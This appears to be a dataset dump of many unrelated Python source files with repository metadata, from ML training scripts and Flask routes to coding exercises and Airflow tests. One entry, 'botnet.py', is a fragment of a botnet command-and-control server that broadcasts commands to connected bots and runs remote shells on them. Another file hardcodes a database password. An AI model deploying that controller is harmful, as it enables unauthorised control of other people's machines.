from tdw.output_data import OutputData, NavMeshPath
from tdw.add_ons.third_person_camera import ThirdPersonCamera
from tdw.add_ons.image_capture import ImageCapture
from tdw.backend.paths import EXAMPLE_C... |
33baec5e827bd2b9c97cd425a9ae382a328a9b6a | fe0f5ec61718947d6b4a4468a4c1507cc9b0c298 | /glcic/glcic-master/train.py | b5b6423aea9afaa3e0b877b5d40bfa0165570b2b | [
"MIT"
] | permissive | akisen/WhiteLineDetection | ba0a757d5198e1a232da477b7212e8c95b8e7367 | 02dc9a0256bf6d1afd20b9177130abff07b4163f | refs/heads/master | 2020-09-13T00:58:40.112200 | 2019-12-03T02:12:54 | 2019-12-03T02:12:54 | 222,613,764 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,411 | py | train.py | import argparse
import logging
import os
import cv2
import numpy as np
import tensorflow as tf
import keras.callbacks
from keras import backend as K
from keras import utils
from model.network import Glcic
from model.config import Config
from model import util
import dataset
class PrintAccuracy(keras.callbacks.Callbac... |
d57a936a49ae6c84357f7d702b9c5553bbed3942 | e2a990050893b95d507d0c07b1fc6866fb98bc74 | /app/routes.py | e0764c3c75a369205819d56dc1860bf18a92d0a4 | [] | no_license | jkaefer/ccbbserver | c9a0ce82cca45932ccb41f3b9dd736125d66837f | 43c4dc6edc823b49ef613e270f968c184f8a8186 | refs/heads/master | 2023-02-26T01:24:25.408448 | 2021-02-04T16:56:21 | 2021-02-04T16:56:21 | 335,996,157 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,990 | py | routes.py | import os
#for Gmail smtpd api
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
import smtplib
from flask import jsonify
from pathlib import Path
import datetime
from flask import render_template,sessio... |
459cfc86c191c106d24883b0b4e309f64fc40fc7 | d0cb58e1658d4b5b88bdc07e497dc8092707ae02 | /2020/12December/30Vectorized_string.py | 7f6169bd160a1ef316b841172ab0ca061c7c29e3 | [] | no_license | June-fu/python365 | 27f9b753d38ade549d59aa8f2d8bda0fb8b1e20c | 242033a4b644a7566fbfa4dba9b60f60aa31fe91 | refs/heads/master | 2021-07-02T21:42:28.454091 | 2021-05-04T15:08:44 | 2021-05-04T15:08:44 | 233,629,713 | 0 | 0 | null | 2020-01-13T15:52:58 | 2020-01-13T15:36:53 | null | UTF-8 | Python | false | false | 979 | py | 30Vectorized_string.py | #!/usr/bin/python
'''
# @ Author: june-fu
# @ Create Time: 2020-12-26 12:13:08
# @ Modified by: june-fu
# @ Modified time: 2020-12-26 12:13:13
# @ Description:
Series's str attribute
'''
import pandas as pd
import numpy as np
s = pd.Series(['A', 'B', 'C', 'Aaba', 'Baca', np.nan, 'CABA', 'dog', 'cat'], dtype="st... |
0e063b4b2c70519950aa90cf3f69ba68841071bc | 69582e48fd7965df3f769c52e27caf0868a09e93 | /lista4/saulo/questao4.py | 4ac8c9996875b120b096a813f07d9a8127199df3 | [] | no_license | yurimalheiros/IP-2019-2 | b591cd48fd8f253dfd17f2f99d5a2327b17432c2 | 25b9e5802709a7491933d62d8300cbd7c3ef177f | refs/heads/master | 2020-09-18T16:59:50.937764 | 2020-02-26T15:42:41 | 2020-02-26T15:42:41 | 224,156,588 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 283 | py | questao4.py | #Remover numero repetido.
numero = int(input("Digite um número: "))
freio = 0
l = []
while numero != freio:
l.append(numero)
numero = int(input("Digite um número: "))
l.count(numero)
if numero in l:
l.remove(numero)
print(l)
print("FIM!") |
7629a195135bb68cc0b65ee80b471a679a4d2ad2 | 5f87d63deed53c643224eb5c870aff5efef4f394 | /views.py | 5326e4098aae503be1d0c2634a7de3f76e9570e0 | [] | no_license | D1ms0n/Scripts | d881e41da7f7cddaa6fd4ab06cd63f7b1bb272f1 | 519739f044fcbeb4ef9ddbe53df862527ba0f9de | refs/heads/master | 2021-01-10T17:38:13.432998 | 2016-03-26T11:36:06 | 2016-03-26T11:36:06 | 54,776,278 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 149 | py | views.py | from django.shortcuts import render
from django.http import HttpResponse
def main(request):
return render(request, 'clearapp/index.html', {})
|
561f4757af19ddf9f4d4dc33f9124602361bd463 | a6128261b96fea52921254ea703eefb1a8003136 | /Boruta/boruta/__init__.py | aaf26a2cca9e4411a8ce872512f24b66e6d210ea | [] | no_license | better0123/github- | 5dfb61015d5fe29c8b7d255bf6700fa9e9140527 | 29c9b4442073a64112b0fc10c43efcb997268dcb | refs/heads/master | 2022-01-08T07:31:24.373222 | 2018-07-19T07:56:05 | 2018-07-19T07:56:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 81 | py | __init__.py | from .boruta_py import BorutaPy
from .improvedboruta_py import ImprovedBorutaPy |
8583209611f08ff26d09f4d13917857069692a1d | 80ce4aa045c1990aa0389b1fb2824b8dd4485440 | /chip_photo.py | 7ff31258f2a88cb700384d07a25cd8837ea0908b | [] | no_license | danny3125/cnc_photo_dealing | dd06f5f58b561f4d1e89e9eeb36a24f3c2f644f1 | c2d14d08e409a24cb1b63eb1989dbd45e02b8fbc | refs/heads/main | 2023-08-30T02:16:17.838958 | 2021-10-24T11:04:33 | 2021-10-24T11:04:33 | 418,083,923 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 838 | py | chip_photo.py | import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import numpy as np
from PIL import Image
def rgb2gray(rgb):
return np.dot(rgb[...,:3], [0.299, 0.587, 0.114])
img = mpimg.imread('chip.png')
gray = rgb2gray(img)
plt.imshow(gray, cmap = plt.get_cmap('gray'))
plt.show()
gray.shape
gray = gra... |
ac9f0aab78ac38b54e358d2e68c9105e57a5b72c | c7b3a956e61fd5ab37357fc6945e70d4951a2408 | /Data Extraction & Processing/convert_2009_data.py | cd63b7df0f5492240b238673d78ad513928cca63 | [] | no_license | wallinjoshua/CY6720_Final_Project | 5a3254c557871ba38926e1f246dc2d72191ec36d | 3c6354ec3063f007b68e232e7317a6bfe98270f9 | refs/heads/main | 2023-01-31T02:40:40.165983 | 2020-12-15T22:18:12 | 2020-12-15T22:18:12 | 321,663,008 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,927 | py | convert_2009_data.py | import sys
import numpy as np
import csv
data = np.genfromtxt('student_data_2009.csv', delimiter=',', skip_header=1, dtype=float)
new_data = np.zeros((len(data),12), dtype=float)
new_header = ['STU_ID', 'BYSEX', 'BYENGLSE', 'BYSES1', 'BYSES2', 'BYS24F', 'BYGRDRPT', 'BYLGRRPT', 'BYTXMSTD', 'BYPISAME', 'BYACTCTL', 'F2H... |
9b1e803f8acb8b89f4628b54b5cdc93486c4f908 | 10e87806185e4a96a88f0dc3044c944597b7d5d7 | /08 Rock Paper Scissors.py | 285101011d53450dafc0a794b8e4ff55166fe795 | [] | no_license | cpiscos/PracticePython | 7f0117889c393b4b8e967b53ba3867b6091114c9 | 4716d4143ed2d771f7c7d471b2a844435c510aa8 | refs/heads/master | 2020-03-19T02:54:37.733255 | 2018-06-06T08:02:17 | 2018-06-06T08:02:17 | 135,538,920 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 718 | py | 08 Rock Paper Scissors.py | name1 = input('Player 1\'s name?:\n')
name2 = input('Player 2\'s name?:\n')
player1 = input(name1 + ' - Rock, Paper, or Scissors?\n').lower()
player2 = input(name2 + ' - Rock, Paper, or Scissors?\n').lower()
if player1 not in ['rock', 'paper', 'scissors']:
print('input not valid')
exit()
if player1 == player2:
... |
1eab8c88fbf81158961c5dc85d9f4f47259c411b | fb362e4dc0c3d60f3f1089ffc338d56e07066a07 | /json_generator.py | 9760168608a283905ae92d014cd48b7f0e68f9f0 | [] | no_license | pranavv999/SQLAlchemy | d38be5b2166bde18453dea565d53470c798f6ad9 | 416081cc0dc3628f72b69bcc9e009e1979314e6a | refs/heads/main | 2023-01-19T07:38:35.229043 | 2020-11-28T19:35:06 | 2020-11-28T19:35:06 | 316,802,983 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,663 | py | json_generator.py | import json
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from schema import Countries, Population
from pathlib import Path
from http.server import HTTPServer, SimpleHTTPRequestHandler
# create Engine
engine = create_engine("postgresql://pranav:password@localhost/un_population")
# crea... |
17bdb6e2eca627345a1f12a6f2d6cdb3f2546c1c | f9b5881c56db4f224564e7b307be3164ae8eab1f | /Example/PythonTurtleGraphicExample.py | a96458591cd94ebba513fd2c956863590b5bf263 | [] | no_license | tieubinhco/A2Python | 31e5bfd9002a19a968fcbce9617fbcad0ec03478 | c791200e72b6a8fafa4f0b5b7756c0a319b4adcc | refs/heads/main | 2023-07-01T15:22:04.556187 | 2021-08-03T01:35:34 | 2021-08-03T01:35:34 | 349,298,186 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 412 | py | PythonTurtleGraphicExample.py | from turtle import *
t=Turtle()
bgcolor('black')
goto(0,-250)
speed(10)
def draw(a,b):
pencolor(a)
fillcolor(b)
begin_fill()
circle(b)
end_fill()
lt(90)
fd(50)
rt(90)
draw('red',250)
draw('white',200)
draw('red',150)
draw('blue',100)
rt(90)
goto(0,100)
pencolor('white')
fillcolor('whi... |
b1d7c2f765b9f10d781240698a31d27218573b2d | c0d91ad2b0f585b33cb122124c70fee18f9635cd | /scripts/get_credentials.py | 75d1be8b79c08aec1d74d6b732023b52b51a1ae8 | [] | no_license | gnoose/datafeeds-shared | f99314b88ee8f18e188daca4984894b53da5747e | f019afa52845c4ae5977d00bfe2f5dfc16ec0d7c | refs/heads/master | 2023-04-27T11:49:02.598795 | 2021-05-07T20:09:46 | 2021-05-07T20:09:46 | 368,023,034 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 986 | py | get_credentials.py | import argparse
from datetime import datetime, timedelta
from datafeeds import db
from datafeeds.models import (
SnapmeterAccountDataSource as AccountDataSource,
SnapmeterMeterDataSource as MeterDataSource,
)
from datafeeds.models.account import SnapmeterAccount
from datafeeds.models.meter import Meter, Buildi... |
c814413a89f1a2ba365ccf859a397170ddd11655 | 4882b96318c31bc4b5a773cb850e530462154788 | /Utility/layers.py | ebbd622da96e090ceeee717e872016f4ce7fa518 | [] | no_license | kaicd/KAICD_pipeline | 9f6fa9af722279115bfd5d62502e0dbe037fc340 | e88840528fa963066f85940ffeb31687773be2ba | refs/heads/master | 2023-07-15T01:40:29.921800 | 2021-08-19T04:48:01 | 2021-08-19T04:48:01 | 377,359,563 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 25,239 | py | layers.py | """Custom layers implementation."""
import math
import re
from collections import OrderedDict
from typing import Callable
import dgl
import dgl.function as fn
import numpy as np
import torch as th
import torch.nn as nn
import torch.nn.functional as F
from dgl.backend.pytorch.sparse import _gsddmm, _gspmm, gspmm, gsddm... |
1ab3120244b389f0e619685009cac76d790ce956 | 9cc8ec941e97114553e1d15412c3dcb067d02c86 | /Topics/Introduction to Python/Hello, Python/main.py | 9d898b9854e3a1220837dc5c96617b348a20655d | [] | no_license | Qrill1990/Zookeeper | 9ab8e2d906c202236d9384b31eb42c519708c7ab | 6e25e32fbc145218d10576ca2e3f33fb9c258f40 | refs/heads/master | 2023-05-07T06:28:01.249485 | 2021-06-01T13:44:55 | 2021-06-01T13:44:55 | 372,839,816 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 41 | py | main.py | print("I")
print("know")
print("Python")
|
c6e697f8ec27c6792c4696889792c0dded607f49 | fc1cc515a65e844705cc6262a70cd0a12ce1d1df | /supervised_learning/0x03-optimization/9-Adam.py | 2ead27bbd4dffb5c304cd6dca92645741fc0c453 | [] | no_license | yulyzulu/holbertonschool-machine_learning | 4f379a4d58da201e8125bd8d74e3c9a4dfcf8a57 | d078d9c1c5bd96730a08d52e4520eb380467fb48 | refs/heads/master | 2022-12-26T12:01:25.345332 | 2020-10-03T03:19:05 | 2020-10-03T03:19:05 | 279,392,075 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 488 | py | 9-Adam.py | #!/usr/bin/env python3
""" Adam """
import numpy as np
def update_variables_Adam(alpha, beta1, beta2, epsilon, var, grad, v, s, t):
"""Function that updates a variable in place using the Adam
optimization algorithm"""
Vdw = (beta1 * v) + ((1 - beta1) * grad)
Sdw = (beta2 * s) + ((1 - beta2) * (gra... |
8a17651a32cc10a3a1bba02a7a91421affa59a21 | 7d56cee314977c13410442300bc5ab43e2a2c82e | /ex1_to_44/ex33.py | 3470c13d3405dd8085b5810e23d7f8e476b159c4 | [] | no_license | Dentvar/learn_python_the_hard_way | 847e5e64e96ca369f0f8bf482ee60fe64d7a81ce | f36040fced2bc95be83c1e65b36d2e25c515c7de | refs/heads/master | 2021-09-06T08:34:27.034740 | 2018-02-04T10:55:01 | 2018-02-04T10:55:01 | 111,234,618 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 726 | py | ex33.py | import sys
script, counter, jumps = sys.argv
#Funcions
def create_list_while(counter, jumps):
i = 0
numbers = []
while i < counter:
numbers.append(i)
print(f"Numbers now: {numbers}")
i += jumps
return numbers
def create_list_for(counter,to):
numbers = []
fo... |
cd60f5ba4057820dd10e08b4a047fe0d44b73343 | 1f8165a6c362e7e0b37b2c2a07134fe65f12a7cb | /profileapp/forms.py | 34785815b9afb438b70f92f9b68f95e264e6c1af | [] | no_license | Normal-case/pyary | bff21a0a5670fb9350155fca037cde7128d55b82 | 45c00792fed87725aca69848b666d79df5ce6e1c | refs/heads/main | 2023-05-15T00:01:34.973884 | 2021-06-02T09:16:55 | 2021-06-02T09:16:55 | 349,389,924 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 776 | py | forms.py | from django.forms import ModelForm
from django import forms
from profileapp.models import Profile
class ProfileCreationForm(ModelForm):
class Meta:
model = Profile
fields = ['nickname', 'phone_number', 'birth', 'profile_image']
widgets = {
'birth': forms.DateInput(format=('%m/%d... |
5b5b4e3a3fb5c51c4ab7367e78b67aee064c4407 | 71d63d5e87e23a1ade102058cc20c9f5558ca2c5 | /button_maker.py | 58d35c2032e9385ef382c822fe7a91773a0d1092 | [] | no_license | garkling/calories-bot | 8889c8bcb1a9a8ac9c7b06adbab9cf7b30a2dcdc | cbb61c925085e618424a5d689127cfd21034309f | refs/heads/main | 2023-05-10T14:37:50.145251 | 2021-06-13T18:06:55 | 2021-06-13T18:06:55 | 376,610,224 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,934 | py | button_maker.py | from __future__ import annotations
from abc import abstractmethod
from typing import List, Optional
from telethon import Button
from formatter import show_dishes_list
from settings import *
class PageMaker:
instances = {}
choice = {'next': 1, 'prev': -1}
next_btn = ('➡', 'next')
prev_btn = ('⬅', 'p... |
e4204046e90fb34c9fda3bea212504442502a51a | 74467eec069a7b7d8276e05fca0ebc6c5c727a20 | /find_competitors.py | 082e01cfeafdf4846c9c782285027dd75498cf18 | [] | no_license | ParkwayLogic/impex-competitors | 8ee398bc768396bdef8152480aeb849c24e423e5 | 34479d514ac323d695c2598d245e6aef8d1bcd29 | refs/heads/master | 2021-07-07T21:18:09.366209 | 2017-10-03T21:29:47 | 2017-10-03T21:29:47 | 103,139,132 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,854 | py | find_competitors.py | """
Return exporters with overlapping most frequent commodity codes
"""
import sys
sys.path.insert(0,'lib')
import csv, utils
import networkx as nx
import pandas as pd
from json import dumps
from flask import Flask, request, jsonify, Response
app = Flask(__name__)
def get_top_nodes(Gph, company, howmany=2):
"""Ge... |
312eade15ead207d3030c598a16821dd753327e4 | a5be28057bb55e0ebc4a25fce90143ad50c77f5c | /Finding optimal policy/DDPGAgent.py | d30126678d64974f1cad386bd7d56b4aace6a2e0 | [] | no_license | vijetadeshpande/meta-environment | fa76d1c9dbb220c376a2a8f7b3b8b50c0b9a0b41 | 87eb12826a11e57e3ef09baf616959dae1c38fc8 | refs/heads/master | 2023-02-04T14:59:03.826016 | 2020-12-14T19:08:33 | 2020-12-14T19:08:33 | 263,530,317 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,666 | py | DDPGAgent.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Jul 25 02:18:46 2020
@author: vijetadeshpande
"""
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from DDPGActor import Actor as Actor
from DDPGCritic import Critic as Critic
from DDPGNoise import OrnsteinUhlenbeck... |
3081f43d7295de15b87dd01c9183620d55299b12 | 6ac0bba8c1851e71529269c0d9d89a7c8fa507f2 | /Easy/9.py | 1aaddd7065e716122dfee17af669f6eba011b8c3 | [] | no_license | Hellofafar/Leetcode | e81dc85689cd6f9e6e9756beba070cb11e7b192e | 7a459e9742958e63be8886874904e5ab2489411a | refs/heads/master | 2021-05-16T07:07:19.823953 | 2020-02-17T03:00:09 | 2020-02-17T03:00:09 | 103,690,780 | 6 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,243 | py | 9.py | # ------------------------------
# 9. Palindrome Number
#
# Description:
# Determine whether an integer is a palindrome. Do this without extra space.
#
# Version: 1.0
# 09/29/17 by Jianfa
# ------------------------------
class Solution(object):
def isPalindrome(self, x):
"""
:type x: int
... |
f4bdeb1e39509170152a7676cb8914cbeee93947 | f459c66943f9fa6a8f0db6111a3de1c764ef122a | /apps/search/bible/apps.py | 561cf2a8424bae7f800496f837d6ef74915db765 | [
"BSD-3-Clause"
] | permissive | lucifurtun/myquotes | 4b4648d5a9329cce3e01106b7383573a76c7d9e7 | b89adda4d051ab7ba27b24d9c13b36faaad16b16 | refs/heads/master | 2023-05-26T00:28:21.457089 | 2023-05-19T13:07:33 | 2023-05-19T13:07:33 | 76,120,534 | 4 | 0 | BSD-3-Clause | 2023-01-06T01:40:31 | 2016-12-10T15:22:47 | JavaScript | UTF-8 | Python | false | false | 97 | py | apps.py | from django.apps import AppConfig
class BibleConfig(AppConfig):
name = 'apps.search.bible'
|
af911e24895555614f3c04a9239ca03dab783722 | 513091d2e705045328f9ad3c43a52060fefe3032 | /moment_detr/text_encoder.py | 929dd7c90b15c382bc0ad2169be7deb421219e50 | [
"MIT",
"CC-BY-NC-SA-4.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | judgepazair/moment_detr | 6898ba6efe6edfd899a26a2292bc04478e7f5931 | e93f63ff64d702a446a59350e0cd7bdcc417361c | refs/heads/main | 2023-06-22T12:57:55.848319 | 2021-07-21T00:49:00 | 2021-07-21T00:49:00 | 389,442,604 | 1 | 0 | MIT | 2021-07-25T21:17:32 | 2021-07-25T21:17:31 | null | UTF-8 | Python | false | false | 1,778 | py | text_encoder.py | import torch
import torch.nn as nn
import torch.nn.functional as F
from easydict import EasyDict as edict
from xml.model_components import BertAttention, TrainablePositionalEncoding
class TextEncoder(nn.Module):
def __init__(self, hidden_size, drop, input_drop, nheads, max_position_embeddings):
super().__... |
0a0e47287644eb1f6e5eef2620a634e35e65fb28 | 48234d3c1ca938ef54c2d88dc6c2c8a278028c0a | /test_rover.py | 27fc70741ea860978b55cf6b5d2210f092a0d947 | [] | no_license | jmasramon/marsRoverKataPython | 62a8cf76ba766125c0c548c21d453c6fd153496e | 9377eb33d87b666388498e935e1c1404884d8a53 | refs/heads/master | 2020-04-28T21:28:07.770207 | 2015-06-22T18:11:17 | 2015-06-22T18:21:09 | 37,823,972 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,059 | py | test_rover.py | __author__ = 'jmasramon'
from pyspecs import given, when, then, and_, the
# Develop an api that moves a rover around on a grid.
#
# You are given the initial starting point (x,y) of a rover and the direction (N,S,E,W) it is facing.
#
# The rover receives a character array of commands.
#
# Implement commands that move... |
02fe21407927324f3e98eb9a1e8aaa6710fde938 | ceb316f59c4e9a94cb632f0f4b5beca738e5445a | /reversegeo.py | 4d594230a9d37b600facd8768dbd8c87c94e79d2 | [
"Python-2.0"
] | permissive | peterbe/python-reverse-geocode-test | 9b1cec95ea361d8fe0600e87dae02ff53f439f66 | 1540eeb9c63b852237aa359dc5afc68579292b33 | refs/heads/master | 2021-01-23T00:10:08.161437 | 2009-08-15T00:21:16 | 2009-08-15T00:21:16 | 278,372 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,789 | py | reversegeo.py | # -*- coding: UTF-8 -*-
import re
TESTS = """
http://ws.geonames.org/findNearbyPlaceNameJSON?lat=42.386951440524854&lng=-83.28460693359375&callback=?
Redford, Michigan
United States
http://ws.geonames.org/findNearbyPlaceNameJSON?lat=39.91605629078665&lng=116.36581420898438&callback=?
Fengsheng, Beijing
China
http://... |
927432620a80495be135a67e520e54a867d97a1b | d554b1aa8b70fddf81da8988b4aaa43788fede88 | /5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/223/users/4172/codes/1752_3089.py | 4612da454a15310a5a64e98d127ae29740e59b16 | [] | no_license | JosephLevinthal/Research-projects | a3bc3ca3b09faad16f5cce5949a2279cf14742ba | 60d5fd6eb864a5181f4321e7a992812f3c2139f9 | refs/heads/master | 2022-07-31T06:43:02.686109 | 2020-05-23T00:24:26 | 2020-05-23T00:24:26 | 266,199,309 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 214 | py | 1752_3089.py | m=int(input("movimento em metros: "))
soma=0
while(m!=0):
soma+=m
m=int(input("movimento em metros: "))
print(soma)
if(soma>0):
print("Direita")
if(soma<0):
print("Esquerda")
if(soma==0):
print("Inicial") |
21103bce8872062b5f048338327bc0548a586087 | 1d0f938c5d49ff1a998c108fe122db7196eaa984 | /main.py | 6b514dcd0de9c3dd40801159f136a8fd18cdef2c | [] | no_license | BUEC500C1/api-design-jyueling | 380e3c88bacc4454d81e484d8cf809c78c99dff9 | 0c67011c81df558b82dcf056ebaa811e5aa9e0f3 | refs/heads/master | 2020-12-22T04:16:06.980640 | 2020-02-10T00:42:33 | 2020-02-10T00:42:33 | 236,667,544 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 133 | py | main.py | import tweet_api
import google_api
def main():
tweet_api.print_tweet("@Discovery",30)
if __name__ == "__main__":
main() |
f1bf93534c6848cf5466fef80d14fd612c2aa9a4 | e7e53dfb57f1ad027c70c82a6d5bfc2bff7fe381 | /vis_imagine_static_voxels/custom_inp.py | 6a0d3a64022d0ecd926f9b88737465520bad7782 | [
"Apache-2.0"
] | permissive | standardgalactic/EmbLang | 555855dcfc858d856159997c5425bd5099a67761 | 169b0468ccda554896973bcc226afb3e762a70e7 | refs/heads/master | 2023-07-09T16:46:01.900556 | 2021-07-24T11:53:36 | 2021-07-24T11:53:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 21,872 | py | custom_inp.py | import tensorflow as tf
# tf.compat.v1.enable_eager_execution()
import constants as const
import utils
import os.path as path
import numpy as np
import random
from munch import Munch
import ipdb
import glob
st = ipdb.set_trace
from tensorflow.examples.tutorials.mnist import input_data
'''
Note on the input system:
al... |
3d31fd87e7bc85d93faec2d95564db2892f7253a | e8347840ce8ff758578ce80aad5f03e0a345aa96 | /python/exercices/ex2/proj.py | 57134fed394296c8db94aca7e68d6ae2f4418e50 | [] | no_license | pblottiere/how_to_qgis | 01a53818f5371d4709b1d92fe9b9097994809b84 | a331014c453c3d09e8ebd5b892181d43118c1ef7 | refs/heads/master | 2020-04-10T15:54:18.436446 | 2019-12-11T00:03:03 | 2019-12-11T00:03:03 | 60,327,086 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,374 | py | proj.py | # -*- coding:utf-8 -*-
def docstring_example(a, b):
"""
Simple docstring example:
:param a: Description of a
:param b: Description of b
:type a: int
:type b: int
:return: The result is just another integer
:rtype: int
"""
return a + b
def reproje... |
489673273947ea60ac791306dce12e7688dcb18a | bab0a524a41b68a6a4431e5c5ac82aff0a7d4aae | /Botnet/botnet.py | 26e3bd74cfcd895bf831907a88557a98cad4f226 | [] | no_license | Snehansh03/BotNet | 13206f4ff31f5948c59bb585fbda49390995c3aa | 3f6f48b8abf0aa313ff7166628a0f51241240146 | refs/heads/main | 2023-03-08T12:45:00.331386 | 2021-02-26T04:57:20 | 2021-02-26T04:57:20 | 342,467,136 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,710 | py | botnet.py | #!/usr/bin/python
import socket
import os
import threading
count=0
def sendtoall(target, data):
target.send(data)
def shell(target, ip):
def reliable_send(data):
target.send(data)
def reliable_recv():
data = ""
while True:
... |
0eeab258711dbcb2d5b0385a5cd7375934bb2309 | fed572c9045f0e6d159aef0fe77bc430db843893 | /roll.py | ee869ac4038394a78fe2a5ec5800e25fc9c0760d | [] | no_license | captflint/dndscripts | 92dfeca9d78dad1145e533ec231b263b827a7125 | c998c2a6cd1153a5128d0d82bbcabc471b90de09 | refs/heads/master | 2016-09-05T19:54:53.704184 | 2014-05-23T17:56:50 | 2014-05-23T17:56:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | roll.py | from random import randint
def roll(dice):
number = ''
sides = ''
befored = True
for char in dice:
if char in 'Dd':
befored = False
continue
if befored:
number += char
else:
sides += char
if number == '':
number = '1'
... |
53bd04e4fea3b8e52590e59a08b80df149a1b4fb | a933712aed95b8d05d2a81d2d85cd67f3143b328 | /code/wavemol/wavemoldb/application/views/web/runs.py | 0fb9b322b6f121708c27a138e3f99bf0e29e4ae9 | [] | no_license | stefanoborini/quantum-chemistry | a9b11bc6ffffe44c45d046518c1a3f31c470af44 | 5f92b013018e65bea5354be95e2538b5434d1fe7 | refs/heads/master | 2020-03-28T09:44:28.401512 | 2018-09-23T22:39:41 | 2018-09-23T22:39:41 | 148,056,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 180 | py | runs.py | from django import shortcuts
from . import basecontext
def render(request):
return shortcuts.render_to_response("application/runs.html", { "base" : basecontext.context(), })
|
82122b5f84be6f205f06114b540794d83d51dadd | 7c483c4feb9c822aa55071269ed4eb4345a626e9 | /todolist/tests.py | b1dd54beb10e66143adf3bf2f185ff6e45913fa7 | [] | no_license | wanghaijin/to_do_list | 1ce3ae929975e576f8d4d610a0aba4eaef24ec6c | 9a9c0c7a47764fca67857e35dd9228504424f6a6 | refs/heads/master | 2020-05-23T11:41:17.670984 | 2019-05-15T03:25:20 | 2019-05-15T03:25:20 | 186,742,152 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 554 | py | tests.py | from django.test import TestCase
from .models import Task
# Create your tests here.
t = Task(task_name = '阅读', is_do = False)
t.save()
Task.objects.creat(task_name = '阅读', is_do = False)
#首先尝试获取,不存在就创建,可以防止重复
Task.objects.get_or_create(task_name = '阅读', is_do = False)
#查询所有is_do = False的对象
Task.objects.filter(is_d... |
fcf5e2662e0ae58763db1788da197f1cd9ce9ef9 | ed00d68c05a3f766b696abdf115d2d51657cf709 | /test/test_transform.py | 5486182de1a02500b0fe536413e7ea901b55a14b | [
"MIT"
] | permissive | lebek/reversible-raytracer | 403fdaf185d4c6c50c42b4a35c67d64e6d7881d7 | 9b502737da0e0a7cfd664a795b3a38c1809c1774 | refs/heads/master | 2021-01-10T21:37:16.610462 | 2015-07-28T21:25:01 | 2015-07-28T21:25:01 | 27,055,333 | 15 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,334 | py | test_transform.py | import unittest
import numpy as np
from transform import *
class TestTransform(unittest.TestCase):
def setUp(self):
pass
def test_rotate(self):
t = rotate(20, (0, 0, 1))
f = theano.function([], t.m)
cmp = np.isclose(f(), np.array([
[0.93969262, -0.34202015, 0., 0.... |
989bd407eda88c1f9fd7251b9ae66a6e890e4878 | b95d49e7c56a0a312d28d901c7bc2d9753ed1ffc | /setup.py | a40715bfe7eb0aece52e017032acf171ec0c9af9 | [
"MIT"
] | permissive | Sheidavafadar/design-of-experiments | 271f4c01c0a5e98099f426d167265617e1f6666a | 9fcdf2d4ed043250d287f5ff5feb5421a0462a00 | refs/heads/master | 2023-07-25T13:37:01.962536 | 2020-11-05T21:32:55 | 2020-11-05T21:33:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,206 | py | setup.py | from setuptools import setup
with open("README.md", "r") as fh:
long_description = fh.read()
setup(
name='designofexperiment',
version='1.6.2',
description='A Python Package for intuitive design of experiments with user-friendly analysis of results',
py_modules=["design",
"analysis... |
11f83ef0f2b7557f3bd70809d7d9c81c04a22a6a | b8bbdfc593b6d816e67a344f720f90ec05236778 | /tests/api_connexion/endpoints/test_update_mask.py | 4221f11a1319ae35f1792e59894fc5ad01f449dd | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | apache/airflow | ed78db0a8bab7e096990e143926e52f518e288ab | 1b122c15030e99cef9d4ff26d3781a7a9d6949bc | refs/heads/main | 2023-09-01T08:37:34.556097 | 2023-09-01T06:49:05 | 2023-09-01T06:49:05 | 33,884,891 | 22,756 | 11,558 | Apache-2.0 | 2023-09-14T20:12:36 | 2015-04-13T18:04:58 | Python | UTF-8 | Python | false | false | 2,117 | py | test_update_mask.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
